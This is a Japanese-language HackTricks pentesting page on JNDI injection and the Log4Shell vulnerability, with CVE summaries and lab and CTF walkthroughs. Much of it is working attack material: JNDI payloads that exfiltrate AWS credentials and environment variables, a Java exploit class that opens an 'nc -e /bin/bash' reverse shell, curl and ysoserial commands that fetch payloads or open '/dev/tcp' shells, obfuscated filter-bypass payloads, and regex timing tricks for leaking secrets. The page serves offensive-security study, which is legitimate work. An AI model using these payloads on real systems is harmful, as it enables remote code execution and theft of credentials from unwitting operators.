JNDI - Java Naming and Directory Interface & Log4Shell

htARTE（HackTricks AWS Red Team Expert）を使用して、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricksをサポートする他の方法：

HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！
公式PEASS＆HackTricksスワッグを入手する
The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
**💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。

Try Hard Security Group

Join the Try Hard Security Discord Server!Discord

基本情報

JNDIは1990年代後半からJavaに統合され、ディレクトリサービスとして機能し、Javaプログラムが名前付けシステムを介してデータやオブジェクトを検索できるようにします。さまざまなディレクトリサービスをサポートし、CORBA COS、Java RMI Registry、LDAPなどの異なるシステムからデータを取得できるようにします。

JNDI Naming Reference

JNDI Naming Referencesを使用してJavaオブジェクトを格納および取得できます。これには2つの形式があります：

Reference Addresses：オブジェクトの場所を指定します（例：rmi://server/ref）、指定されたアドレスから直接取得できます。
Remote Factory：リモートファクトリクラスを参照します。アクセスされると、クラスがリモート位置からダウンロードおよびインスタンス化されます。

ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として：

RMI：JDK 7u21以降、java.rmi.server.useCodeabseOnly = trueがデフォルトで、リモートオブジェクトの読み込みを制限します。セキュリティマネージャーはさらに読み込む内容を制限します。
LDAP：JDK 6u141、7u131、8u121以降、com.sun.jndi.ldap.object.trustURLCodebase = falseがデフォルトで、リモートで読み込まれたJavaオブジェクトの実行をブロックします。trueに設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
CORBA：特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。

ただし、JNDIリンクを解決するNaming Managerには組み込みのセキュリティメカニズムがなく、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや既存のアプリケーションコンポーネント（ガジェット）の悪用による悪意のあるコードの実行が可能になります。

攻撃可能なURLの例：

rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar

保護措置があるにもかかわらず、信頼されていないソースからのJNDIの読み込みに対する保護が不十分であり、既存の保護をバイパスする可能性があるため、脆弱性が残っています。

JNDIの例

**PROVIDER_URL**を設定していても、lookupで異なるURLを指定することができ、アクセスされます：ctx.lookup("<attacker-controlled-url>") これを悪用して、攻撃者は自分が制御するシステムから任意のオブジェクトを読み込むことができます。

CORBA概要

CORBA（Common Object Request Broker Architecture）は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。この参照には、次のような重要な情報が含まれます：

Type ID：インターフェースの一意の識別子。
Codebase：スタブクラスを取得するためのURL。

CORBAは基本的に脆弱ではありません。セキュリティを確保するためには通常：

セキュリティマネージャーのインストール。
セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは、例えばソケット権限（permissions java.net.SocketPermission "*:1098-1099", "connect";）や、悪意のあるファイルが配置される特定のディレクトリに対して普遍的に（permission java.io.FilePermission "<<ALL FILES>>", "read";）ファイル読み取り権限を設定することで達成できます。

ただし、一部のベンダーポリシーは寛大であり、これらの接続をデフォルトで許可する場合があります。

RMIコンテキスト

RMI（Remote Method Invocation）の場合、状況は多少異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する偉業です。

LDAP

まず、SearchとLookupを区別する必要があります。 Searchは、ldap://localhost:389/o=JNDITutorialのようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を取得します。 Lookupは、名前付けサービス向けであり、名前にバインドされているものを取得したいと考えています。

LDAP検索がSearchControls.setReturningObjFlag()と一緒に呼び出された場合、返されるオブジェクトは再構築されます。

したがって、これらのオプションを攻撃する方法はいくつかあります。 攻撃者はLDAPレコードにペイロードを導入し、それを実行されるシステムに取り込むことができます（LDAPサーバーにアクセス権がある場合、多くのマシンを侵害するのに非常に便利です）。これを悪用する別の方法は、例えばLDAP検索でMitM攻撃を実行することです。

アプリケーションがJNDI LDAP URLを解決するようにする場合、検索されるLDAPを制御でき、エクスプロイト（log4shell）を送り返すことができます。

シリアル化エクスプロイト

エクスプロイトはシリアル化され、デシリアル化されます。 trustURLCodebaseがtrueの場合、攻撃者はコードベースに自分のクラスを提供できます。そうでない場合は、クラスパス内のガジェットを悪用する必要があります。

JNDIリファレンスエクスプロイト

このLDAPを攻撃するのはJavaFactoryリファレンスを使用する方が簡単です：

Log4Shell脆弱性

この脆弱性は、Log4jが${prefix:name}形式の特別な構文をサポートしているために導入されます。ここで、prefixはさまざまなLookupsの1つであり、nameは評価されるべきものです。たとえば、${java:version}は現在実行中のJavaのバージョンです。

LOG4J2-313はjndi Lookup機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的にjava:comp/env/で接頭辞が付けられます。ただし、キー自体に**":"**が含まれている場合、このデフォルトの接頭辞は適用されません。

キーに**":"が含まれている**場合、${jndi:ldap://example.com/a}のように、接頭辞はなく、LDAPサーバーがオブジェクトをクエリします。これらのLookupsは、Log4jの構成およびログが記録されるときの両方で使用できます。

したがって、ユーザーが制御する情報を処理する脆弱なLog4jが必要です。そして、これはJavaアプリケーションが情報を記録するために広く使用されているライブラリであるため（インターネットに面したアプリケーションも含まれる）、例えばHTTPヘッダーのような情報をログに記録するためにlog4jが使用されることが非常に一般的でした。ただし、log4jはHTTP情報だけでなく、開発者が指定した任意の入力やデータを記録するために使用されます。

Log4Shell 関連 CVE の概要

CVE-2021-44228 [重要]

この脆弱性は、log4j-core コンポーネントにおける致命的な 信頼されていない逆シリアル化の欠陥 であり、バージョン 2.0-beta9 から 2.14.1 に影響を与えます。これにより リモートコード実行（RCE） が可能となり、攻撃者がシステムを乗っ取ることができます。この問題は、Alibaba Cloud Security Team の Chen Zhaojun によって報告され、さまざまな Apache フレームワークに影響を与えます。バージョン 2.15.0 での初期の修正は不完全でした。防御のための Sigma ルールが利用可能です（Rule 1、Rule 2）。

CVE-2021-45046 [重要]

最初は低評価でしたが後に重要度が引き上げられたこの CVE は、CVE-2021-44228 の修正が不完全であるために発生する サービス拒否（DoS） の欠陥です。これは、デフォルトでない構成に影響を与え、攻撃者がクラフトされたペイロードを介して DoS 攻撃を引き起こすことができます。ツイートには回避方法が示されています。この問題は、メッセージ検索パターンの削除と JNDI のデフォルト無効化により、バージョン 2.16.0 および 2.12.2 で解決されています。

CVE-2021-4104 [高]

JMSAppender を使用するデフォルトでない構成で Log4j 1.x バージョン に影響を与えるこの CVE は、信頼されていない逆シリアル化の欠陥です。1.x ブランチには修正が利用できず、log4j-core 2.17.0 へのアップグレードが推奨されています。

CVE-2021-42550 [適度]

この脆弱性は、Log4j 1.x の後継である Logback ロギングフレームワーク に影響を与えます。以前は安全と考えられていたこのフレームワークが脆弱性を持っていることが判明し、新しいバージョン（1.3.0-alpha11 および 1.2.9）がリリースされています。

CVE-2021-45105 [高]

Log4j 2.16.0 には DoS の欠陥があり、この CVE を修正するために log4j 2.17.0 がリリースされました。詳細は BleepingComputer のレポートにあります。

CVE-2021-44832

log4j バージョン 2.17 に影響を与えるこの CVE は、攻撃者が log4j の構成ファイルを制御する必要があります。これは、構成された JDBCAppender を介した潜在的な任意のコード実行を含みます。詳細は Checkmarx ブログ投稿で入手できます。

Log4Shell の悪用

発見

この脆弱性は、保護されていない場合非常に簡単に発見できます。なぜなら、あなたのペイロードで指定したアドレスに少なくとも DNS リクエスト を送信するからです。したがって、以下のようなペイロードがあります：

${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}（canarytokens.com を使用）
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}（interactsh を使用）
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}（Burp Suite を使用）
${jndi:ldap://2j4ayo.dnslog.cn}（dnslog を使用）
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}（huntress を使用）

DNS リクエストを受信したからといって、アプリケーションが悪用可能（または脆弱）であるとは限りません。それを悪用する必要があります。

バージョン 2.15 を悪用するには、localhost チェックバイパス を追加する必要があります：${jndi:ldap://127.0.0.1#...}

ローカル発見

ライブラリの ローカル脆弱バージョン を検索するには：

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

検証

以前にリストされたいくつかのプラットフォームでは、リクエスト時にログに記録される変数データを挿入できます。これは2つのことに非常に役立ちます:

脆弱性を検証するため
脆弱性を悪用して情報を外部流出するため

たとえば、次のようなものをリクエストできます: または${**jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}**のようなもので、環境変数の値を持つDNSリクエストが受信された場合、アプリケーションが脆弱であることがわかります。

他にも外部流出しようとする情報:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE 情報

JDK バージョンが 6u141 より上、7u131 より上、または 8u121 より上のホストは、LDAP クラスローディング攻撃ベクトルに対して保護されています。これは、com.sun.jndi.ldap.object.trustURLCodebase のデフォルトの非アクティブ化によるもので、これにより JNDI が LDAP を介してリモートコードベースをロードすることが防止されます。ただし、これらのバージョンは 逆シリアル化攻撃ベクトルに対して保護されていないことに注意することが重要です。

これらの高い JDK バージョンを悪用しようとする攻撃者にとっては、Java アプリケーション内で 信頼されたガジェット を利用する必要があります。この目的のためには、ysoserial や JNDIExploit などのツールがよく使用されます。一方、より低い JDK バージョンを悪用することは比較的簡単です。これらのバージョンは、任意のクラスをロードして実行するように操作することができます。

詳細情報（RMI および CORBA ベクトルの制限など）については、以前の JNDI Naming リファレンスセクションを参照するか、https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ をご覧ください。

RCE - カスタムペイロードを使用した Marshalsec

これを THM ボックス でテストできます: https://tryhackme.com/room/solar

ツール marshalsec（jar バージョンはこちらで利用可能）を使用します。このアプローチは、LDAP リファラルサーバーを確立して、接続を二次的な HTTP サーバーにリダイレクトし、そこで脆弱性がホストされます。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

以下の内容でExploit.javaという名前のJavaファイルを作成して、ターゲットに逆シェルコードを読み込むように促します。

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

コマンドjavac Exploit.java -source 8 -target 8を使用してJavaファイルをクラスファイルにコンパイルします。次に、クラスファイルが含まれるディレクトリでHTTPサーバーを起動します: python3 -m http.server。marshalsec LDAPサーバーがこのHTTPサーバーを参照するようにします。

以下のようなペイロードをディスパッチして、脆弱なWebサーバーでexploitクラスの実行をトリガーします:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

注意: この脆弱性は、Javaの構成がLDAP経由でリモートコードベースの読み込みを許可することに依存しています。これが許可されていない場合は、任意のコードを実行するための信頼されたクラスを悪用することを検討してください。

RCE - JNDIExploit

このプロジェクトはlog4shellの発見後、作者がgithubから削除したため、注意してください。https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2でキャッシュされたバージョンを見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用する別の方法を使用してください。

さらに、wayback machineでソースコードを見つけることはできないため、ソースコードを分析するか、実行するjarを実行することによって、何を実行しているのかわからないことを理解して実行する必要があります。

この例では、脆弱なwebサーバーをlog4shellにログを取るためにポート8080で実行できます: https://github.com/christophetd/log4shell-vulnerable-app (READMEに実行方法が記載されています). この脆弱なアプリは、HTTPリクエストヘッダー X-Api-Version の内容を脆弱なlog4shellのバージョンでログに記録しています。

その後、JNDIExploitのjarファイルをダウンロードして、次のように実行できます:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

After reading the code just a couple of minutes, in com.feihong.ldap.LdapServer and com.feihong.ldap.HTTPServer you can see how the LDAP and HTTP servers are created. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit. In com.feihong.ldap.gadgets you can find some specific gadgets that can be used to excute the desired action (potentially execute arbitrary code). And in com.feihong.ldap.template you can see the different template classes that will generate the exploits.

You can see all the available exploits with java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Some useful ones are:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

したがって、この例では、すでにその脆弱性のあるDockerアプリケーションが実行されています。攻撃するには：

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

RCE - JNDI-Exploit-Kit

前のエクスプロイトと同様に、この脆弱性を悪用するためにJNDI-Exploit-Kitを使用できます。被害者に送信するためのURLを生成することができます：

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

この攻撃は、THMソーラールームのような研究室で動作します。ただし、一般的には動作しません（デフォルトではJavaはLDAPを使用してリモートコードベースを読み込むように構成されていないため）私は、これが信頼されたクラスを悪用して任意のコードを実行するためではないと考えています。

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus は、動作可能なJNDIリンクを生成し、RMIサーバー、LDAPサーバー、HTTPサーバーを起動してバックグラウンドサービスを提供する別のツールです。\

RCE - ysoserial & JNDI-Exploit-Kit

このオプションは、特定のクラスのみを信頼し、誰にでも信頼しないように構成されたJavaバージョンを攻撃するのに本当に役立ちます。したがって、ysoserialは、信頼されたクラスのシリアル化を生成するために使用され、これらは任意のコードを実行するためのガジェットとして使用できます（ysoserialによって悪用される信頼されたクラスは、攻撃対象のJavaプログラムによって使用される必要があります）。

ysoserialまたはysoserial-modifiedを使用して、JNDIによってダウンロードされる逆シリアル化攻撃を作成できます。

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

使用JNDI-Exploit-Kit生成JNDIリンクを、脆弱なマシンからの接続を待つためのエクスプロイトを生成します。JNDI-Exploit-Kitによって自動生成される異なるエクスプロイトまたはあなた自身またはysoserialによって生成された独自の逆シリアル化ペイロードを提供することができます。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

今後、脆弱性を悪用し、リバースシェルを取得するために生成されたJNDIリンクを簡単に使用できます。脆弱なバージョンのlog4jに送信するだけです: ${ldap://10.10.14.10:1389/generated}

バイパス

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

自動スキャナー

https://github.com/fullhunt/log4j-scan
https://github.com/adilsoybali/Log4j-RCE-Scanner
https://github.com/silentsignal/burp-log4shell
https://github.com/cisagov/log4j-scanner
https://github.com/Qualys/log4jscanwin
https://github.com/hillu/local-log4j-vuln-scanner
https://github.com/logpresso/CVE-2021-44228-Scanner
https://github.com/palantir/log4j-sniffer - ローカルの脆弱なライブラリを見つける

テスト用ラボ

Log4Shell攻撃後の行動

このCTF解説では、Log4Jの一部の機能を悪用することが可能である方法がよく説明されています。

Log4jのセキュリティページには興味深い文がいくつかあります:

バージョン2.16.0（Java 8向け）から、メッセージルックアップ機能が完全に削除されました。構成内のルックアップは引き続き機能します。さらに、Log4jは今後、デフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップを明示的に有効にする必要があります。

バージョン2.17.0（およびJava 7およびJava 6向けの2.12.3および2.3.1）から、構成内のルックアップ文字列のみが再帰的に展開されます。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。

これは、デフォルトでは**jndiの悪用**はできないことを意味します。さらに、再帰的なルックアップを実行するには、それらを構成する必要があります。

たとえば、このCTFでは、次のようにファイルlog4j2.xmlに設定されていました:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

このCTFでは、攻撃者は${sys:cmd}の値を制御し、環境変数からフラグを外部に送出する必要がありました。このページで見られるように、前のペイロードには、**${env:FLAG}**などの環境変数にアクセスするための異なる方法があります。このCTFではこれは役に立ちませんでしたが、他の実際のシナリオでは役立つかもしれません。

Exfiltration in Exceptions

このCTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、これはPythonアプリケーションで出力されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に送出するための例外は次のとおりです: ${java:${env:FLAG}}. これは、**${java:CTF{blahblah}}**が存在せず、フラグの値を持つ例外が表示されるため機能します:

Conversion Patterns Exceptions

ちなみに、新しい変換パターンをインジェクトして、stdoutに記録される例外をトリガーすることもできます。例:

これは、エラーメッセージ内のデータを外部に送出するのには役立ちませんでした。なぜなら、変換パターンの前にルックアップが解決されなかったからですが、検出などの他の用途には役立つかもしれません。

Conversion Patterns Regexes

ただし、正規表現をサポートする変換パターンを使用して、バイナリサーチや時間ベースの動作を悪用して、ルックアップから情報を外部に送出することが可能です。

例外メッセージを介したバイナリサーチ

変換パターン**%replaceは、文字列からコンテンツを置換するために正規表現**を使用できます。これは次のように機能します: replace{pattern}{regex}{substitution} この動作を悪用すると、文字列内で正規表現が一致した場合に例外をトリガーさせることができます（一致しない場合は例外が発生しません）:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

Time based

前のセクションで言及されているように、%replace は regexes をサポートしています。したがって、ReDoS ページ からのペイロードを使用して、フラグが見つかった場合に タイムアウト を引き起こすことが可能です。例えば、%replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} のようなペイロードは、その CTF で タイムアウト を引き起こします。

この解説記事では、ReDoS 攻撃ではなく、増幅攻撃 を使用して応答の時間差を引き起こしました：

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
もしフラグが flagGuess で始まる場合、フラグ全体が 29 個の # で置き換えられます（この文字を使用したのは、おそらくフラグの一部ではないためです）。その結果の 29 個の # それぞれが 54 個の # で置き換えられます。このプロセスは 6 回繰り返され、合計で 29*54*54^6* =`` ``96816014208 # が生成されます！
これだけ多くの # を置き換えると、Flask アプリケーションの 10 秒のタイムアウトが発生し、ユーザーに HTTP ステータスコード 500 が送信されます。（フラグが flagGuess で始まらない場合、500 以外のステータスコードが返されます）

参考文献

Try Hard Security Group

Join the Try Hard Security Discord Server!Discord

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）!

HackTricks をサポートする他の方法：

HackTricks が広告されたり、HackTricks を PDF でダウンロードしたり したい場合は、SUBSCRIPTION PLANS をチェックしてください！
公式PEASS＆HackTricksのグッズを手に入れる
The PEASS Family、私たちの独占的な NFTs コレクションを発見する
💬 Discord グループ または telegram グループ に参加するか、Twitter 🐦 @carlospolopm をフォローする。**
HackTricks と HackTricks Cloud の github リポジトリに PR を提出して、あなたのハッキングトリックを共有する。

PreviousPython Yaml Deserialization NextDomain/Subdomain takeover

Last updated 3 days ago